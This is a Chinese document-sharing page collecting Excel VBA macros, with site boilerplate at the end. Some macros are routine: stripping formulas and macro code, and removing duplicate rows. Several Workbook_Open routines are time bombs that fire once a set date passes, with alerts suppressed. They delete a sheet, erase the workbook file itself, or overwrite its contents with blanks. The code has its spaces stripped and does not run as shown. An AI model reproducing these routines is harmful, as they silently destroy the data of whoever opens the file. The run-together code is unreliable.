首页 Excel工作表到时自动删除公式的宏代码

Excel工作表到时自动删除公式的宏代码

举报
开通vip

Excel工作表到时自动删除公式的宏代码用宏删除EXCEL中的公式PrivateSubWorkbook_Open()ifdate>=#2010-1-1#thenFori=1ToSheets.CountSheets(i).ActivateCells.CopyCells.PasteSpecialxlPasteValuesNextiSheets(1).ActivateendifEndSub用宏删除EXCEL宏中的代码OptionExplicitSubRmvMacros()  DimwbkAsWorkbook  Di...

Excel工作表到时自动删除公式的宏代码
用宏删除EXCEL中的公式PrivateSubWorkbook_Open()ifdate>=#2010-1-1#thenFori=1ToSheets.CountSheets(i).ActivateCells.CopyCells.PasteSpecialxlPasteValuesNextiSheets(1).ActivateendifEndSub用宏删除EXCEL宏中的代码OptionExplicitSubRmvMacros()  DimwbkAsWorkbook  DimstrFilenameAsString  ThisWorkbook.SaveCopyAs"D:\另存备份.xls"  strFilename=ThisWorkbook.Path&"\另存备份.xls"'要删除宏的文件名  Application.EnableEvents=False'禁止在打开时触发事件  Setwbk=Workbooks.Open(strFilename)  RemoveAllMacroswbk'调用RemoveAllMacros删除宏代码  wbk.Closesavechanges:=True  Application.EnableEvents=TrueEndSubSubRemoveAllMacros(wbkAsWorkbook)  '参数wbk为要删除宏的工作簿  DimiAsLong  DimvbcAsVBComponent  ForEachvbcInwbk.VBProject.VBComponents  '遍历wbk工作簿的每一个模块      Ifvbc.Type=vbext_ct_DocumentThen      '如果是Excel对象的模块,则清除其中的代码,否则删除整个模块        vbc.CodeModule.DeleteLines1,vbc.CodeModule.CountOfLines      Else        wbk.VBProject.VBComponents.Removevbc      EndIf  NextvbcEndSubSubListAllCodeModule()  DimstrVBCmpTypeAsString  DimvbcAsVBComponent  Debug.Print"名称                类型        代码行数"  ForEachvbcInThisWorkbook.VBProject.VBComponents      Withvbc        SelectCase.Type        Casevbext_ct_Document          strVBCmpType="Excel对象"        Casevbext_ct_StdModule          strVBCmpType="模块"        Casevbext_ct_MSForm          strVBCmpType="窗体"        Casevbext_ct_ClassModule          strVBCmpType="类模块"        EndSelect        Debug.Print.Name&Space(20-Len(.Name)),strVBCmpType,.CodeModule.CountOfLines      EndWith  NextvbcEndSub用宏代码清除excel2000文档中的宏代码、部分控件'removeExcelMacro("Book1.Xls",Array("CheckBox1","TextBox1","ListBox"))''直接删除目标文件的宏代码和控件(可选择保留的控件),Excel文件名称、要删除的控件名称数组PublicStaticFunctionremoveExcelMacro(targetExcelFileNameAsString,killOleObjectTypeAsVariant)AsBoolean   OnErrorGoToErrHand   Dimi,j,nAsByte   DimvbeCompAsNewVBComponents   DimvbaObjeAsOLEObject   removeExcelMacro=False   SetvbeComp=Application.Workbooks(targetExcelFileName).VBProject.VBComponents   n=vbeComp.Count   Fori=1Ton       Ifi>vbeComp.CountThenExitFor       IfvbeComp(i).Type=100Then  '  100:xl_Document_Type(IncludeWorkbook,Worksheet)           '删除代码           IfvbeComp(i).CodeModule.CountOfLines>0ThenvbeComp(i).CodeModule.DeleteLines1,vbeComp(i).CodeModule.CountOfLines           '删除控件           vbeComp(i).Activate           IfkillOleObjectType(0)<>""Then             ForEachvbaObjeInActiveSheet.OLEObjects                Forj=0ToUBound(killOleObjectType)                   IfUCase(Split(vbaObje.ProgId,".")(1))=UCase(killOleObjectType(j))Then                     vbaObje.Select:Selection.Delete                   EndIf                Next             Next           EndIf       Else           '删除整个模块           vbeComp.RemovevbeComp(i)           i=i-1       EndIf    Next   removeExcelMacro=True   ExitFunctionErrHand:   MsgBoxErr.Description&vbCrLf&vbCrLf&"请与XXX联系!",vbOKOnly+vbCriticalEndFunction删除重复值Sub删除列中重复值()DimstrSheetNameAsString,strColumnLetterAsStringstrSheetName="Sheet1"'删除工作表中的重复行strColumnLetter="A"'以A列中的重复项作为删除条件DimstrColumnRangeAsStringDimrngCurrentCellAsRangeDimrngNextCellAsRangestrColumnRange=strColumnLetter&"1"代表range(“a1”)Worksheets(strSheetName).Range(strColumnRange).Sort_Key1:=Worksheets(strSheetName).Range(strColumnRange)SetrngCurrentCell=Worksheets(strSheetName).Range(strColumnRange)DoWhileNotIsEmpty(rngCurrentCell)SetrngNextCell=rngCurrentCell.Offset(1,0)IfrngNextCell.Value=rngCurrentCell.ValueThenrngCurrentCell.EntireRow.DeleteEndIfSetrngCurrentCell=rngNextCellLoopEndSub删除活动工作簿中的所有宏代码SubMacroDel()DimvbcCom,VbcSetvbcCom=ActiveWorkbook.VBProject.VBComponentsForEachVbcInvbcComIfVbc.NameLike"Sheet*"OrVbc.NameLike"This*"ThenVbc.CodeModule.DeleteLines1,Vbc.CodeModule.CountOfLinesElsevbcCom.Remove(Vbc)EndIfNextVbcThisWorkbook.SaveEndSub'这个代码可以删除工作表PrivateSubWorkbook_Open()'工作簿打开就执行Application.DisplayAlerts=False'关闭提示DimdateeAsDate定义datee'为日期datee=#9/19/2006#'为datee'赋值IfDate>dateeThen'如果当前日期大于设定的日期ThisWorkbook.Sheets("Sheet3").Delete'删除表sheets3ThisWorkbook.Save'保存工作簿Application.Quit'推出工作簿EndIfEndSub'ThisWorkbook.Sheets("Sheet3").Delete'再给一个过期则删除工作簿(回收站都找不到)PrivateSubWorkbook_Open()Application.DisplayAlerts=FalseDimdateeAsDatedatee=#9/19/2006#IfDate>dateeThenActiveWorkbook.ChangeFileAccessxlReadOnlyKillActiveWorkbook.FullNameThisWorkbook.CloseFalseEndIfEndSub'再给一个过期则自动删除宏代码之文件PrivateSubWorkbook_Open()Application.DisplayAlerts=FalseDimdateeAsDatedatee=#9/19/2006#IfDate>dateeThenDimstrFilePath,strJunkAsStringstrFilePath=Excel.Workbooks.Item(1).FullNameClose#1OpenstrFilePathForBinaryAs#1strJunk=Space(LOF(1))Put#1,,strJunkThisWorkbook.Saved=TrueThisWorkbook.CloseEndIfEndSub
本文档为【Excel工作表到时自动删除公式的宏代码】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
该文档来自用户分享,如有侵权行为请发邮件ishare@vip.sina.com联系网站客服,我们会及时删除。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。
本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。
网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
下载需要: 免费 已有0 人下载
最新资料
资料动态
专题动态
个人认证用户
沉沉的爱
暂无简介~
格式:doc
大小:40KB
软件:Word
页数:0
分类:工学
上传时间:2019-11-24
浏览量:19